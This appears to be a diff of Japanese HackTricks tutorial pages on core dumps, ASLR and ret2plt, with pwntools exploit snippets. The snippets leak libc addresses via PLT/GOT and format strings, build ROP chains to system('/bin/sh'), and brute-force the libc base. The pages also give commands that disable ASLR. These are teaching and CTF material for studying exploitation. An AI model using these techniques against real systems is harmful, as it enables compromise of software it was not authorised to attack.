* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>
{% endhint %}

View file

@ -1,39 +1,55 @@
# 一般的なバイナリ保護 # 一般的なバイナリ保護
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
{% endhint %}
## コアファイルの有効化 ## コアファイルの有効化
**コアファイル** は、プロセスがクラッシュしたときにオペレーティングシステムによって生成されるファイルの一種です。これらのファイルは、クラッシュしたプロセスのメモリイメージ、レジスタ、プログラムカウンタの状態など、終了時の詳細をキャプチャします。このスナップショットは、デバッグやクラッシュの原因を理解するために非常に貴重です。 **コアファイル**は、プロセスがクラッシュしたときにオペレーティングシステムによって生成されるファイルの一種です。これらのファイルは、プロセスの終了時のメモリイメージをキャプチャし、プロセスのメモリ、レジスタ、プログラムカウンタの状態など、さまざまな詳細を含みます。このスナップショットは、デバッグやクラッシュの原因を理解するために非常に価値があります。
### **コアダンプの生成を有効化する** ### **コアダンプ生成の有効化**
デフォルトでは、多くのシステムはコアファイルのサイズを0に制限していますつまり、コアファイルを生成しませんが、ディスクスペースを節約するためです。コアファイルの生成を有効にするには、`ulimit`コマンドbashや類似のシェルでを使用するか、システム全体の設定を構成できます。 デフォルトでは、多くのシステムはディスクスペースを節約するためにコアファイルのサイズを0に制限していますつまり、コアファイルを生成しません。コアファイルの生成を有効にするには、`ulimit`コマンドbashや類似のシェルでを使用するか、システム全体の設定を構成ます。
* **ulimitを使用する**: `ulimit -c unlimited`コマンドは、現在のシェルセッションが無制限のサイズのコアファイルを作成できるようにします。これはデバッグセッションに役立ちますが、再起動や新しいセッションを超えて永続的ではありません。 * **ulimitを使用する**:コマンド`ulimit -c unlimited`は、現在のシェルセッションが無制限のサイズのコアファイルを作成できるようにします。これはデバッグセッションに便利ですが、再起動や新しいセッションでは持続しません。
```bash ```bash
ulimit -c unlimited ulimit -c unlimited
``` ```
* **永続的な設定**: より永続的な解決策として、`/etc/security/limits.conf` ファイルを編集して、`* soft core unlimited` のような行を追加することができます。これにより、すべてのユーザーがセッションで ulimit を手動で設定する必要なく、無制限サイズのコアファイルを生成できます。 * **永続的な設定**: より永続的な解決策として、`/etc/security/limits.conf` ファイルを編集して `* soft core unlimited` のような行を追加することができます。これにより、すべてのユーザーがセッション内で手動で ulimit を設定することなく、無制限のサイズのコアファイルを生成できるようになります。
```markdown ```markdown
* soft core unlimited * soft core unlimited
``` ```
### **GDBを使用したコアファイルの分析** ### **GDBを使用したコアファイルの分析**
コアファイルを分析するには、GDBGNUデバッガなどのデバッグツールを使用できます。コアダンプを生成した実行可能ファイルがあり、コアファイルの名前が`core_file`であると仮定すると、次のように分析を開始できます: コアファイルを分析するには、GDBGNUデバッガなどのデバッグツールを使用できます。コアダンプを生成した実行可能ファイルがあり、コアファイルの名前が `core_file` であると仮定すると、分析を開始するには次のようにします:
```bash ```bash
gdb /path/to/executable /path/to/core_file gdb /path/to/executable /path/to/core_file
``` ```
このコマンドは、実行可能ファイルとコアファイルをGDBにロードし、クラッシュ発生時のプログラムの状態を調査できます。GDBコマンドを使用してスタックを調査し、変数を調べ、クラッシュの原因を理解できます。 このコマンドは、実行可能ファイルとコアファイルをGDBにロードし、クラッシュ時のプログラムの状態を検査できるようにします。GDBコマンドを使用してスタックを探索し、変数を調べ、クラッシュの原因を理解することができます。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,114 +1,115 @@
# ASLR # ASLR
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricks をサポートする他の方法: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
</details> </details>
{% endhint %}
## 基本情報 ## 基本情報
**アドレススペースレイアウトランダム化ASLR** は、オペレーティングシステムで使用されるセキュリティ技術で、システムおよびアプリケーションプロセスが使用する **メモリアドレスをランダム化** します。これにより、特定のプロセスやデータ(スタック、ヒープ、ライブラリなど)の場所を予測することが非常に困難になり、特にバッファオーバーフローなどの特定の種類のエクスプロイトを緩和します。 **アドレス空間配置ランダム化ASLR**は、オペレーティングシステムで使用されるセキュリティ技術で、**システムおよびアプリケーションプロセスによって使用されるメモリアドレスをランダム化**します。これにより、攻撃者が特定のプロセスやデータ(スタック、ヒープ、ライブラリなど)の位置を予測することが著しく難しくなり、特にバッファオーバーフローなどの特定のタイプのエクスプロイトを軽減します。
### **ASLRステータスの確認** ### **ASLRの状態を確認する**
LinuxシステムでASLRステータスを **確認** するには、`/proc/sys/kernel/randomize_va_space` ファイルから値を読み取ることができます。このファイルに格納されている値は、適用されているASLRのタイプを決定します: LinuxシステムでASLRの状態を**確認する**には、`/proc/sys/kernel/randomize_va_space`ファイルから値を読み取ります。このファイルに保存されている値は、適用されるASLRのタイプを決定します
* **0**: ランダム化なし。すべてが静的です。 * **0**: ランダム化なし。すべてが静的です。
* **1**: 保守的なランダム化。共有ライブラリ、スタック、mmap()、VDSOページがランダム化されます。 * **1**: 保守的なランダム化。共有ライブラリ、スタック、mmap()、VDSOページがランダム化されます。
* **2**: 完全なランダム化。保守的なランダム化によってランダム化される要素に加えて、`brk()` を介して管理されるメモリもランダム化されます。 * **2**: 完全なランダム化。保守的なランダム化によってランダム化された要素に加えて、`brk()`を通じて管理されるメモリがランダム化されます。
次のコマンドでASLRステータスを確認できます: 次のコマンドでASLRの状態を確認できます:
```bash ```bash
cat /proc/sys/kernel/randomize_va_space cat /proc/sys/kernel/randomize_va_space
``` ```
### **ASLRの無効化** ### **ASLRの無効化**
ASLRを**無効化**するには、`/proc/sys/kernel/randomize_va_space`の値を**0**に設定します。ASLRを無効にすることは、通常、テストやデバッグシナリオ以外では推奨されていません。以下は、ASLRを無効にする方法です: ASLRを**無効化**するには、`/proc/sys/kernel/randomize_va_space`の値を**0**に設定します。ASLRを無効化することは、テストやデバッグのシナリオ以外では一般的に推奨されません。無効化する方法は次のとおりです:
```bash ```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
以下の方法で、実行時に ASLR を無効にすることもできます: ASLRを無効にして実行することもできます
```bash ```bash
setarch `arch` -R ./bin args setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args setarch `uname -m` -R ./bin args
``` ```
### **ASLRの有効化** ### **ASLRの有効化**
ASLRを**有効化**するには、`/proc/sys/kernel/randomize_va_space`ファイルに値**2**を書き込むことができます。通常、ルート権限が必要です。次のコマンドで完全なランダム化を有効にできます: ASLRを**有効化**するには、`/proc/sys/kernel/randomize_va_space`ファイルに**2**の値を書き込むことができます。これには通常、root権限が必要です。完全なランダム化は、次のコマンドで行うことができます:
```bash ```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
### **再起動時の持続性** ### **再起動時の持続性**
`echo`コマンドで行った変更は一時的であり、再起動時にリセットされます。変更を持続させるには、`/etc/sysctl.conf`ファイルを編集し、以下の行を追加または変更する必要があります: `echo` コマンドで行った変更は一時的であり、再起動時にリセットされます。変更を持続させるには、`/etc/sysctl.conf` ファイルを編集し、以下の行を追加または修正する必要があります:
```tsconfig ```tsconfig
kernel.randomize_va_space=2 # Enable ASLR kernel.randomize_va_space=2 # Enable ASLR
# or # or
kernel.randomize_va_space=0 # Disable ASLR kernel.randomize_va_space=0 # Disable ASLR
``` ```
`/etc/sysctl.conf`を編集した後、次のコマンドを使用して変更を適用します: `/etc/sysctl.conf`を編集した後、次のコマンドで変更を適用します:
```bash ```bash
sudo sysctl -p sudo sysctl -p
``` ```
これにより、ASLR設定が再起動時に維持されます。 This will ensure that your ASLR settings remain across reboots.
## **バイパス** ## **バイパス**
### 32ビットブルートフォース ### 32ビットブルートフォース
PaXはプロセスアドレス空間を**3つのグループ**に分割します: PaXはプロセスアドレス空間を**3つのグループ**に分ます:
* **コードとデータ**(初期化されたものと初期化されていないもの`.text`、`.data`、および`.bss` —> `delta_exec`変数に**16ビット**のエントロピーがあります。この変数は各プロセスでランダムに初期化され、初期アドレスに加されます。 * **コードとデータ**(初期化済みおよび未初期化`.text`、`.data`、および`.bss` —> `delta_exec`変数に**16ビット**のエントロピー。この変数は各プロセスでランダムに初期化され、初期アドレスに加されます。
* `mmap()`によって割り当てられた**メモリ**および**共有ライブラリ** —> **16ビット**、`delta_mmap`と呼ばれます。 * `mmap()`によって割り当てられた**メモリ**および**共有ライブラリ** —> **16ビット**、`delta_mmap`と呼ばれます。
* **スタック** —> **24ビット**、`delta_stack`と呼ばれます。ただし、実際には**11ビット**10番目から20番目のバイトを含むを使用し、**16バイト**に整列されます —> これにより**524,288個の可能な実際のスタックアドレス**が得られます。 * **スタック** —> **24ビット**、`delta_stack`と呼ばれます。ただし、実際には**11ビット**10バイト目から20バイト目までを含むを使用し、**16バイト**に整列されています —> これにより、**524,288の実際のスタックアドレス**が可能になります。
前述のデータは32ビットシステム向けであり、削減された最終エントロピーにより、ASLRをバイパスしてエクスプロイトが成功するまで実行を繰り返すことが可能となります。 前述のデータは32ビットシステム用であり、最終的なエントロピーが減少することで、エクスプロイトが成功するまで実行を何度も再試行することでASLRをバイパスすることが可能になります。
#### ブルートフォースのアイデア: #### ブルートフォースのアイデア:
* **シェルコードの前に大きなNOPスレッドをホストするほどのオーバーフローがある場合**、スタック上のアドレスをブルートフォースして、フローが**NOPスレッドの一部を飛び越える**まで実行を繰り返すことができます。 * シェルコードの前に**大きなNOPスレッド**をホストするのに十分なオーバーフローがある場合、スタック内のアドレスをブルートフォースして**NOPスレッドの一部を飛び越える**まで試すことができます。
* オーバーフローがそれほど大きくなく、エクスプロイトをローカルで実行できる場合は、**環境変数にNOPスレッドとシェルコードを追加**することも可能です。 * オーバーフローがそれほど大きくなく、エクスプロイトをローカルで実行できる場合は、**環境変数にNOPスレッドとシェルコードを追加する**ことが可能です。
* エクスプロイトがローカルである場合、libcのベースアドレスをブルートフォースすることができます32ビットシステム向けに有用 * エクスプロイトがローカルである場合、libcのベースアドレスをブルートフォースすることを試みることができます32ビットシステムに便利
```python ```python
for off in range(0xb7000000, 0xb8000000, 0x1000): for off in range(0xb7000000, 0xb8000000, 0x1000):
``` ```
* リモートサーバーを攻撃する場合、`libc`関数`usleep`のアドレスを**10**として**ブルートフォース**することができます。サーバーが**10秒余分に応答する**ようになったら、この関数のアドレスを見つけました * リモートサーバーを攻撃する場合、**`libc`関数`usleep`のアドレスをブルートフォースする**ことを試みることができます。引数として10を渡します例えば。もしある時点で**サーバーが応答するのに10秒余分にかかる**場合、この関数のアドレスを見つけたことになります
{% hint style="success" %} {% hint style="success" %}
64ビットシステムではエントロピーが高く、これは不可能です。 64ビットシステムではエントロピーがはるかに高く、これは不可能です。
{% endhint %} {% endhint %}
### ローカル情報`/proc/[pid]/stat` ### ローカル情報 (`/proc/[pid]/stat`)
プロセスのファイル**`/proc/[pid]/stat`**は常に誰でも読み取り可能であり、以下のような**興味深い**情報が含まれています: プロセスの**`/proc/[pid]/stat`**ファイルは常に誰でも読み取ることができ、**興味深い**情報が含まれています:
* **startcode** & **endcode**バイナリの**TEXT**の上と下のアドレス * **startcode** & **endcode**: バイナリの**TEXT**の上と下のアドレス
* **startstack****スタック**の開始アドレス * **startstack**: **スタック**の開始アドレス
* **start\_data** & **end\_data****BSS**がある上と下のアドレス * **start\_data** & **end\_data**: **BSS**の上と下のアドレス
* **kstkesp** & **kstkeip**現在の**ESP**と**EIP**アドレス * **kstkesp** & **kstkeip**: 現在の**ESP**と**EIP**アドレス
* **arg\_start** & **arg\_end****cli引数**がある上と下のアドレス * **arg\_start** & **arg\_end**: **CLI引数**の上と下のアドレス
* **env\_start** & **env\_end****環境変数**がある上と下のアドレス * **env\_start** & **env\_end**: **環境変数**の上と下のアドレス
したがって、攻撃者が悪用されるバイナリと同じコンピューターにいて、このバイナリが生の引数からのオーバーフローではなく、**このファイルを読んだ後に作成できる異なる入力**からオーバーフローが予想されていない場合、攻撃者は**このファイルからいくつかのアドレスを取得し、それらからオフセットを構築して悪用する**ことができます。 したがって、攻撃者がエクスプロイトされているバイナリと同じコンピュータにいる場合、このバイナリが生の引数からのオーバーフローを期待していないが、このファイルを読み取った後に作成できる別の**入力からのオーバーフローを期待している場合**、攻撃者は**このファイルからいくつかのアドレスを取得し、それらからオフセットを構築してエクスプロイトを行う**ことが可能です。
{% hint style="success" %} {% hint style="success" %}
このファイルに関する詳細は、[https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html)で`/proc/pid/stat`を検索して確認してください。 このファイルに関する詳細は、[https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html)で`/proc/pid/stat`を検索してください。
{% endhint %} {% endhint %}
### リークがある場合 ### リークを持つこと
* **課題はリークを提供することです** * **課題はリークを提供することです**
リークが与えられた場合簡単なCTFチャレンジ、それからオフセットを計算することができますたとえば、悪用されているシステムで使用されている正確なlibcバージョンを知っていると仮定します。この例の悪用は、[**こちらの例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)から抜粋されました(詳細についてはそのページを確認してください)。 リークが与えられた場合簡単なCTFチャレンジ、それからオフセットを計算することができます例えば、エクスプロイトしているシステムで使用されている正確なlibcバージョンを知っていると仮定します。この例のエクスプロイトは、[**ここからの例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)から抜粋されています(詳細はそのページを確認してください):
```python ```python
from pwn import * from pwn import *
@ -135,7 +136,7 @@ p.interactive()
``` ```
* **ret2plt** * **ret2plt**
バッファオーバーフローを悪用することで、**ret2plt** を悪用して、libc から関数のアドレスを外部に送信することが可能です。詳細は以下を参照してください: バッファオーバーフローを悪用することで、**ret2plt**を利用してlibcの関数のアドレスを抽出することが可能です。確認してください
{% content-ref url="ret2plt.md" %} {% content-ref url="ret2plt.md" %}
[ret2plt.md](ret2plt.md) [ret2plt.md](ret2plt.md)
@ -143,7 +144,7 @@ p.interactive()
* **Format Strings Arbitrary Read** * **Format Strings Arbitrary Read**
ret2plt と同様に、フォーマット文字列の脆弱性を介して任意の読み取りがある場合、**GOT から libc 関数のアドレスを外部に送信することが可能**です。次の[**例はこちらから**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got): ret2pltと同様に、フォーマット文字列の脆弱性を介して任意の読み取りが可能であれば、GOTから**libc関数**のアドレスを抽出することができます。次の[**例はここから**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)です:
```python ```python
payload = p32(elf.got['puts']) # p64() if 64-bit payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|' payload += b'|'
@ -154,10 +155,31 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main']) payload += p32(elf.symbols['main'])
``` ```
You can find more info about Format Strings arbitrary read in:
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
{% endcontent-ref %}
### Ret2ret & Ret2pop ### Ret2ret & Ret2pop
スタック内のアドレスを悪用してASLRをバイパスしようとしてください スタック内のアドレスを悪用してASLRをバイパスしようとします:
{% content-ref url="../../stack-overflow/ret2ret.md" %} {% content-ref url="../../stack-overflow/ret2ret.md" %}
[ret2ret.md](../../stack-overflow/ret2ret.md) [ret2ret.md](../../stack-overflow/ret2ret.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Ret2plt # Ret2plt
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricks をサポートする他の方法: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする。**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
</details> </details>
{% endhint %}
## 基本情報 ## 基本情報
このテクニックの目標は、ASLRをバイパスするためにPLTから関数のアドレスを**リークすること**です。これは、たとえば、libcから`puts`関数のアドレスをリークすると、**`libc`のベースを計算**し、**`system`**などの他の関数にアクセスするためのオフセットを計算できるようになります。 この技術の目的は、**ASLRをバイパスするためにPLTから関数のアドレスを漏洩させること**です。例えば、libcから`puts`関数のアドレスを漏洩させると、**`libc`のベースがどこにあるかを計算し**、**`system`**などの他の関数にアクセスするためのオフセットを計算できます。
これは、`pwntools`ペイロードを使用して行うことができます([**こちらから**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got) これは、`pwntools`ペイロードを使用して行できます([**こちらから**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)
```python ```python
# 32-bit ret2plt # 32-bit ret2plt
payload = flat( payload = flat(
@ -37,15 +38,15 @@ elf.plt['puts'],
elf.symbols['main'] elf.symbols['main']
) )
``` ```
注意してください。**`puts`**PLTからのアドレスを使用が、`GOT`内にある`puts`のアドレスで呼び出されていることに注目してください。これは、`puts`が`GOT`エントリの`puts`のアドレスを出力する時点で、**このエントリにはメモリ内の`puts`のアドレスが含まれているため**です。 注意してほしいのは、**`puts`**PLTからのアドレスを使用がGOTグローバルオフセットテーブルにある`puts`のアドレスで呼び出されることです。これは、`puts`が`puts`のGOTエントリを印刷する時点で、この**エントリがメモリ内の`puts`の正確なアドレスを含む**ためです。
また、エクスプロイトで`main`のアドレスが使用されていることに注目してください。したがって、`puts`が実行を終了すると、**バイナリは終了せずに再び`main`を呼び出します**(したがって、漏洩したアドレスは引き続き有効です)。 また、エクスプロイトで`main`のアドレスが使用されていることにも注意してください。これにより、`puts`が実行を終了すると、**バイナリが終了するのではなく`main`を再度呼び出します**(したがって、漏洩したアドレスは引き続き有効です)。
{% hint style="danger" %} {% hint style="danger" %}
れが機能するためには、バイナリが**PIEでコンパイルされていない**必要があります。または、`PLT`、`GOT`、および`main`のアドレスを知るためにPIEをバイパスする漏洩を見つける必要があります。 の機能が動作するためには、**バイナリはPIEでコンパイルされていない必要があります**、または**PLT、GOT、`main`のアドレスを知るためにPIEをバイパスするための漏洩を見つける必要があります**。そうでなければ、まずPIEをバイパスする必要があります。
{% endhint %} {% endhint %}
[**こちらでこのバイパスの完全な例を見つけることができます**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass)。これはその例からの最終的なエクスプロイトでした: [**このバイパスの完全な例はこちらで見つけることができます**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass)。これはその例からの最終的なエクスプロイトでした:
```python ```python
from pwn import * from pwn import *
@ -84,6 +85,21 @@ p.interactive()
## その他の例と参考文献 ## その他の例と参考文献
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) * [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* 64ビット、ASLR有効、ただしPIEなし、最初のステップは、キャナリーのバイト0x00までオーバーフローを埋めてからputsを呼び出してリークさせることです。キャナリーを使用して、GOTからputsのアドレスをリークさせるためのROPガジェットが作成され、その後、`system('/bin/sh')`を呼び出すためのROPガジェットが作成されます。 * 64ビット、ASLRが有効だがPIEはなし、最初のステップはカナリアのバイト0x00までオーバーフローを埋めてからputsを呼び出してリークすることです。カナリアを使ってROPガジェットを作成し、putsを呼び出してGOTからputsのアドレスをリークし、その後`system('/bin/sh')`を呼び出すROPガジェットを作成します。
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html) * [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* 64ビット、ASLR有効、キャナリーなし、メイン関数内のスタックオーバーフローが子関数から発生します。putsを呼び出してGOTからputsのアドレスをリークさせ、その後、ワンガジェットを呼び出します。 * 64ビット、ASLRが有効、カナリアなし、子関数からのメインでのスタックオーバーフロー。ROPガジェットを使ってputsを呼び出し、GOTからputsのアドレスをリークし、その後one gadgetを呼び出します。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,40 +1,42 @@
# No-exec / NX # No-exec / NX
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
